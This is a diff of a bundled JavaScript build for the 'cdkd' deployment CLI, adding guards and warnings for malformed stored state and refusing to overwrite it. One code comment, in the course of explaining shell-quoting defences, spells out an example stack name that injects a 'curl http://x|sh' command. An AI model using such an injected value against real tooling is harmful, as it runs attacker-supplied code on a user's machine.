+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
64210
+ }
64211
+ /** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
64212
+ function malformedResourcesWarning(stackName, region) {
64213
+ return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
64214
+ }
64215
+ /**
64216
+ * The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
64217
+ * READ-ONLY command that DIFFS the stored bag rather than rendering it
64218
+ * (go-to-k/cdkd#3189).
64219
+ *
64220
+ * `computeOutputsDiff` enumerates the stored bag twice, the second walk
64221
+ * emitting one `REMOVE` row per stored key today's template no longer declares.
64222
+ * It used to admit the bag on a bare `?? {}`, which covers `null` and
64223
+ * `undefined` only — so a hand-edited or truncated record whose `outputs` holds
64224
+ * a string or a list previewed the REMOVAL of outputs that never existed, one
64225
+ * row per character or element, each carrying a character of the record as its
64226
+ * `old:` side, with `cdkd diff --fail` exiting 1 on them.
64227
+ *
64228
+ * AT THE LOAD, for the reason
64229
+ * {@link repairMalformedResourcesForReadOnly}'s own note records and one more
64230
+ * that is specific to this container: `cdkd diff` dereferences the stored bag
64231
+ * BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
64232
+ * `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
64233
+ * skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
64234
+ * verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
64235
+ * outright on `null` (`Cannot convert undefined or null to object`). So a guard
64236
+ * written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
64237
+ * `TypeError`, one call above it.
64238
+ *
64239
+ * ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
64240
+ * {@link isReadableBag}'s verdict, and the split is measured rather than
64241
+ * stylistic. Both stored-bag lookups named above gate on
64242
+ * `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
64243
+ * bag never reaches one; every other consumer on the diff path carries its own
64244
+ * `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
64245
+ * function's own walk). An absent bag is therefore inert, exactly the condition
64246
+ * under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
64247
+ * would be a false positive on a record cdkd itself supports: `cdkd scrub`
64248
+ * round-trips a record with no `outputs` deliberately, refusing to materialize
64249
+ * `{}` over it, and the deploy's failure-path saves write
64250
+ * `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
64251
+ * undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
64252
+ * `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
64253
+ * like any other unreadable shape.
64254
+ *
64255
+ * That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
64256
+ * purpose: it asked that a `null` bag "diff exactly as it does today and say
64257
+ * nothing", and diffing exactly as it does today means THROWING. Recorded on
64258
+ * the issue rather than silently traded.
64259
+ *
64260
+ * Mutates in place and returns whether it repaired anything; the caller warns
64261
+ * on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
64262
+ * the reason {@link refuseMalformedState} gives — a bag laundered into a
64263
+ * well-formed empty one is permanent, and for `outputs` it would also take the
64264
+ * exports index with it on the next write.
64265
+ */
64266
+ function repairMalformedOutputsForReadOnly(state) {
64267
+ if (state.outputs === void 0 || isReadableBag(state.outputs)) return false;
64268
+ state.outputs = {};
64269
+ return true;
64270
+ }
64271
+ /**
64272
+ * The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
64273
+ *
64274
+ * Deliberately neither {@link malformedResourcesWarning}'s text nor
64275
+ * {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
64276
+ * continuing empty differs from both. The resources text forbids
64277
+ * `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
64278
+ * indistinguishable from an empty stack; the resource set is intact here. The
64279
+ * rendered-containers text says the view "shows no rows there" — true of a
64280
+ * renderer, false of a diff, which does not go quiet on an empty stored bag but
64281
+ * reports every resolved output as an `ADD`. Saying so is the point: an
64282
+ * operator who reads `ADD` rows for outputs the stack already has needs to know
64283
+ * the comparison lost its left-hand side.
64284
+ *
64285
+ * Identifiers are sanitized and then shell-quoted and the command is emitted
64286
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
64287
+ */
64288
+ function malformedOutputsWarning(stackName, region) {
64289
+ const stack = safeIdentifier(stackName);
64290
+ const reg = safeIdentifier(region);
64291
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
64292
+ }
64293
+ /**
64294
+ * For a command that can WRITE state: refuse the record by name instead of
64295
+ * repairing it.
64296
+ *
64297
+ * Repairing is actively DANGEROUS here, and the PR that introduced this module
64298
+ * shipped that danger for one round before its security review caught it.
64299
+ * `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
64300
+ * change alone satisfies — so a record holding `"resources": null` and a
64301
+ * plaintext secret in `outputs` would be scrubbed, and then saved back with a
64302
+ * repaired, WELL-FORMED `resources: {}`. The malformed record is the only
64303
+ * signal that anything is wrong; laundering it into a legitimate-looking empty
64304
+ * one is permanent and silent. The next `cdkd deploy` then reads zero resources
64305
+ * and CREATES the whole stack a second time, and the next `cdkd destroy`
64306
+ * deletes nothing and orphans every live resource — and the one-shot warning
64307
+ * that would have said so is long gone, quite possibly for a different
64308
+ * operator. `cdkd import --force` launders it the same way.
64309
+ *
64310
+ * Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
64311
+ * this names the stack, the region, the defect and the remedy, and exits on a
64312
+ * code rather than on a stack trace.
64313
+ */
64314
+ function refuseMalformedState(state, stackName, region) {
64315
+ if (hasReadableResources(state)) return;
64316
+ throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
64317
+ }
64318
+
64010
64319
  //#endregion
64011
64320
  //#region src/analyzer/outputs-diff.ts
64012
64321
  /**
@@ -64439,7 +64748,7 @@ async function resolveTemplateOutputs(template, resolveFn, conditions, storedOut
64439
64748
  */
64440
64749
  function computeOutputsDiff(current, desired, exportNames, secretSourceKeys = /* @__PURE__ */ new Set(), unaccountableScan = {}) {
64441
64750
  const changes = [];
64442
- const currentBag = current ?? {};
64751
+ const currentBag = current !== void 0 && isReadableBag(current) ? current : {};
64443
64752
  const legacyRecord = unaccountableScan.forceLegacyRecord === true || Object.entries(currentBag).some(([name, oldValue]) => {
64444
64753
  if (typeof oldValue === "string" && isSecretBearingReferenceString(oldValue)) return false;
64445
64754
  return containsSecretDynamicReference(desired[name]) || secretSourceKeys.has(name);
@@ -65405,224 +65714,6 @@ function isStackNotFoundError(err) {
65405
65714
  return name === "ValidationError" && /does not exist/i.test(message);
65406
65715
  }
65407
65716
 
65408
- //#endregion
65409
- //#region src/state/malformed-resources-bag.ts
65410
- /** The error code every malformed-record refusal carries, whatever its class. */
65411
- const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
65412
- /**
65413
- * Answer the ONE question both helpers below key on: can this record's
65414
- * resource map be read at all?
65415
- *
65416
- * Widened past `null` / `undefined` because the message says "no readable
65417
- * resources map" and a hand-edited record does not stop at those two: a
65418
- * `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
65419
- * empty or, for the string, absurd — repaired silently and warned about
65420
- * nowhere. The predicate is the plain-object test the bag's own type implies.
65421
- */
65422
- function hasReadableResources(state) {
65423
- return isReadableBag(state.resources);
65424
- }
65425
- /**
65426
- * The plain-object test itself, without the `resources` field bound to it.
65427
- *
65428
- * Exported because {@link hasReadableResources} is not the only caller any
65429
- * more: `cdkd state show` and `cdkd state resources` walk FOUR more record
65430
- * containers with `Object.entries` — `outputs`, `skippedOutputs`, and each
65431
- * resource's `attributes` and `properties` — and a non-object in any of them
65432
- * fabricates rows exactly as the `resources` bag did (go-to-k/cdkd#3187).
65433
- * Spelling the same test a second time there is what this export exists to
65434
- * prevent: the two could then drift, and the one that drifted would fabricate
65435
- * again while looking guarded.
65436
- *
65437
- * What it does NOT decide is whether a given container is malformed. That is a
65438
- * per-container call, because absence means different things: an absent
65439
- * `resources` bag is a defect ({@link hasReadableResources} says so), while an
65440
- * absent `skippedOutputs` is the normal pre-#2740 record. Each caller pairs
65441
- * this predicate with its own absence rule.
65442
- */
65443
- function isReadableBag(container) {
65444
- return typeof container === "object" && container !== null && !Array.isArray(container);
65445
- }
65446
- /**
65447
- * The shared explanation, in the terms the reader needs: what is wrong, what
65448
- * to look at, and what NOT to do next.
65449
- *
65450
- * Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
65451
- * emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
65452
- * `.claude/rules/layout-state-types.md` require of any suggestion a user is
65453
- * meant to paste, for two separate reasons.
65454
- *
65455
- * Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
65456
- * printable-ASCII allowlist, so it removes the line- and escape-forgery class
65457
- * but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
65458
- * trusted here, since a stack name reaches the cross-stack read path from an
65459
- * `Fn::GetStackOutput` argument or an S3 key. A name spelled
65460
- * `a'; curl http://x|sh; echo '` would close the quoting and append its own
65461
- * command to the line this text tells the user to RUN.
65462
- *
65463
- * Wrapping the command in `'...'` is not enough either, and is what makes the
65464
- * two compose badly: `shellQuote` does its own quoting, so an outer wrapper
65465
- * produces something unpastable. Hence unwrapped and last.
65466
- *
65467
- * An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
65468
- * nothing — an empty argument makes `--stack-region` swallow the next flag,
65469
- * turning a remedy into a differently-broken command.
65470
- */
65471
- function safeIdentifier(value) {
65472
- const safe = displaySafe(value, { asciiOnly: true });
65473
- if (!safe) return UNRENDERABLE;
65474
- const { text, truncated } = truncateCodePoints(safe, 128);
65475
- return truncated ? `${text}...` : text;
65476
- }
65477
- function malformedStateDetail(stackName, region) {
65478
- const stack = safeIdentifier(stackName);
65479
- const reg = safeIdentifier(region);
65480
- return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
65481
- }
65482
- /**
65483
- * For a READ-ONLY command: give the record an empty resource bag so the
65484
- * command can report on it, and say so (issue go-to-k/cdkd#3018).
65485
- *
65486
- * `parseStateBody` deliberately does not validate the inner shape, so a
65487
- * hand-edited or truncated record reaches a command with `resources` absent,
65488
- * `null`, or some other non-object. Every such command then died on a raw
65489
- * `TypeError` from the first `Object.keys` / `in` / index read — the exact
65490
- * wording differs per shape (`Cannot convert undefined or null to object`,
65491
- * `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
65492
- * them names a stack, a key or a remedy, from exactly the commands a user
65493
- * reaches for WHEN the state is broken.
65494
- *
65495
- * WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
65496
- * the twelve `Object.entries(state.resources)` loops, which was inert: every
65497
- * one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
65498
- * `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
65499
- * happened one line up and the guards only made it look handled. One call per
65500
- * load dominates the whole flow behind it, including the helpers that take the
65501
- * state as a parameter (`orphan-rewriter`, `diff-calculator`,
65502
- * `collectCcApiRoutes`).
65503
- *
65504
- * Mutates in place and returns whether it repaired anything; the caller warns
65505
- * on `true`. A silent repair is its own defect — an empty resource set is
65506
- * indistinguishable from a healthy empty stack in every later line of output,
65507
- * so `No changes detected` over an unreadable record is a clean verdict about
65508
- * nothing.
65509
- *
65510
- * **Only for a command that cannot WRITE state.** Anything that can persist
65511
- * uses {@link refuseMalformedState} instead; see its note.
65512
- */
65513
- function repairMalformedResourcesForReadOnly(state) {
65514
- if (hasReadableResources(state)) return false;
65515
- state.resources = {};
65516
- return true;
65517
- }
65518
- /**
65519
- * The refusal TEXT, for a command whose own exit-code contract means this
65520
- * cannot be a plain `CdkdError`.
65521
- *
65522
- * `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
65523
- * plaintext") and every one of its refusals carries `exitCode = 2`, because a
65524
- * CI gate reading the code alone must be able to tell "scrub looked and found
65525
- * a leak" from "scrub refused to look" — the two call for opposite responses.
65526
- * So scrub tests {@link hasReadableResources} and raises its own class around
65527
- * this text rather than calling {@link refuseMalformedState}.
65528
- *
65529
- * The other three refusing commands do NOT share that need, and giving them a
65530
- * single shared code would be wrong in the other direction: `cdkd rollback`
65531
- * documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
65532
- * would tell an operator to re-run a command that attempted nothing.
65533
- */
65534
- function malformedStateRefusalMessage(stackName, region) {
65535
- return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
65536
- }
65537
- /**
65538
- * The warning a view emits when it emptied one or more {@link
65539
- * RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
65540
- *
65541
- * Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
65542
- * narrower than it looks. That one tells the reader not to run `cdkd deploy` /
65543
- * `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
65544
- * from an empty stack: deploy would re-CREATE everything and destroy would
65545
- * delete nothing. No container named here can produce that specific confusion —
65546
- * the resource SET is still readable — so borrowing that sentence would attach
65547
- * a re-create-the-world warning to a record whose resource list is intact.
65548
- *
65549
- * It is NOT that these containers are display-only. `properties` is read by the
65550
- * deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
65551
- * nothing from this module, and a non-object there compares unequal to any
65552
- * desired object and yields a spurious property-change set — filed as
65553
- * go-to-k/cdkd#3191. An earlier revision of this comment asserted the
65554
- * display-only premise, which would have read as licence to drop a guard on
65555
- * that path (review of go-to-k/cdkd#3190).
65556
- *
65557
- * What stays the same is the remedy: `--json` is the mode that shows the
65558
- * stored value.
65559
- *
65560
- * ONE warning per record however many containers it names — a stack whose 500
65561
- * resources all carry a hand-edited `properties` gets one line, not 500. The
65562
- * caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
65563
- * stable across records. Not `.sort()` — that order is deliberately not
65564
- * alphabetical, and its own JSDoc says so.
65565
- *
65566
- * Both identifiers are sanitized and then shell-quoted, and the command is
65567
- * emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
65568
- * gives.
65569
- *
65570
- * The container NAMES take {@link safeIdentifier} too — the SAME helper, so
65571
- * they cannot drift from it — but NOT `shellQuote`, because they appear in the
65572
- * PROSE and never inside the command this text tells the reader to run; the
65573
- * command carries the two identifiers and nothing else.
65574
- *
65575
- * Sanitizing them is not dead code written for a case that cannot happen. The
65576
- * union above is closed at COMPILE time, so without this the guarantee would
65577
- * live in a comment, and the day a caller derives a name from a record instead
65578
- * of from a literal an unsanitized element could forge a line, render as empty
65579
- * quotes naming nothing, or run to kilobytes and push the remedy command off
65580
- * the reader's screen. `safeIdentifier` closes all three and is the identity on
65581
- * all four literals, so no user-visible text moves.
65582
- *
65583
- * What it does NOT close, stated rather than reassured away: a forged name made
65584
- * only of printable ASCII still renders verbatim inside its quotes and could
65585
- * read as prose. That residual is bounded to the PROSE — the command the reader
65586
- * pastes is built from the two shell-quoted identifiers alone — and closing it
65587
- * would mean JSON-quoting a name in the one place the text is meant to read as
65588
- * English (review of go-to-k/cdkd#3190).
65589
- */
65590
- function malformedRenderedContainersWarning(stackName, region, containers) {
65591
- const stack = safeIdentifier(stackName);
65592
- const reg = safeIdentifier(region);
65593
- const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
65594
- return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
65595
- }
65596
- /** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
65597
- function malformedResourcesWarning(stackName, region) {
65598
- return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
65599
- }
65600
- /**
65601
- * For a command that can WRITE state: refuse the record by name instead of
65602
- * repairing it.
65603
- *
65604
- * Repairing is actively DANGEROUS here, and the PR that introduced this module
65605
- * shipped that danger for one round before its security review caught it.
65606
- * `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
65607
- * change alone satisfies — so a record holding `"resources": null` and a
65608
- * plaintext secret in `outputs` would be scrubbed, and then saved back with a
65609
- * repaired, WELL-FORMED `resources: {}`. The malformed record is the only
65610
- * signal that anything is wrong; laundering it into a legitimate-looking empty
65611
- * one is permanent and silent. The next `cdkd deploy` then reads zero resources
65612
- * and CREATES the whole stack a second time, and the next `cdkd destroy`
65613
- * deletes nothing and orphans every live resource — and the one-shot warning
65614
- * that would have said so is long gone, quite possibly for a different
65615
- * operator. `cdkd import --force` launders it the same way.
65616
- *
65617
- * Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
65618
- * this names the stack, the region, the defect and the remedy, and exits on a
65619
- * code rather than on a stack trace.
65620
- */
65621
- function refuseMalformedState(state, stackName, region) {
65622
- if (hasReadableResources(state)) return;
65623
- throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
65624
- }
65625
-
65626
65717
  //#endregion
65627
65718
  //#region src/cli/commands/diff-recursive.ts
65628
65719
  /**
@@ -65745,6 +65836,7 @@ async function loadStateOrEmpty(stackName, region, stateBackend) {
65745
65836
  const result = await stateBackend.getState(stackName, region);
65746
65837
  if (result) {
65747
65838
  if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
65839
+ if (repairMalformedOutputsForReadOnly(result.state)) logger.warn(malformedOutputsWarning(stackName, region));
65748
65840
  return result.state;
65749
65841
  }
65750
65842
  return {
@@ -93736,4 +93828,4 @@ function buildProgram() {
93736
93828
 
93737
93829
  //#endregion
93738
93830
  export { buildProgram };
93739
- //# sourceMappingURL=program-BslZXdJR.js.map
93831
+ //# sourceMappingURL=program-DUCNL9hK.js.map